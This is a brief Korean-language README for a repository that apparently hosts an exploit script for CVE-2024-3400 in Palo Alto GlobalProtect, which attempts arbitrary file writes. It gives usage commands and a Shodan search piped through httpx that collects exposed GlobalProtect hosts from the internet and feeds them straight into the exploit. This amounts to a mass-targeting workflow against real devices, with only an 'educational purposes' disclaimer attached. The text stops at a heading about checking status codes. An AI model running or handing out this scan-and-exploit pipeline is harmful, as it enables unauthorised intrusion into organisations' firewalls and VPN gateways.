ak1t4/cve-2024-3400Global Protec Palo Alto File Write Exploit
CVE-2024-3400 Palo Alto 파일 쓰기 익스플로잇
이 익스플로잇은 Global Protect URL 인스턴스를 검색하고 CVE-2024-3400을 사용하여 파일 쓰기를 시도합니다
[ 주의해서 사용하세요 ]
[ 교육 목적으로만 제작되었습니다 ]
사용법:
chmod +x gp-exploit.sh
./gp-exploit.sh file_name_to_write urls.txt
Shodan 검색 및 URL 필터링:
# shodan search --fields ip_str,port 'http.html:"Global Protect"' --separator ":" | sed 's/.$//' > gp.hosts
# httpx -l gp.hosts
# ./gp-exploit file_name gp.hosts
상태 코드 응답 확인:
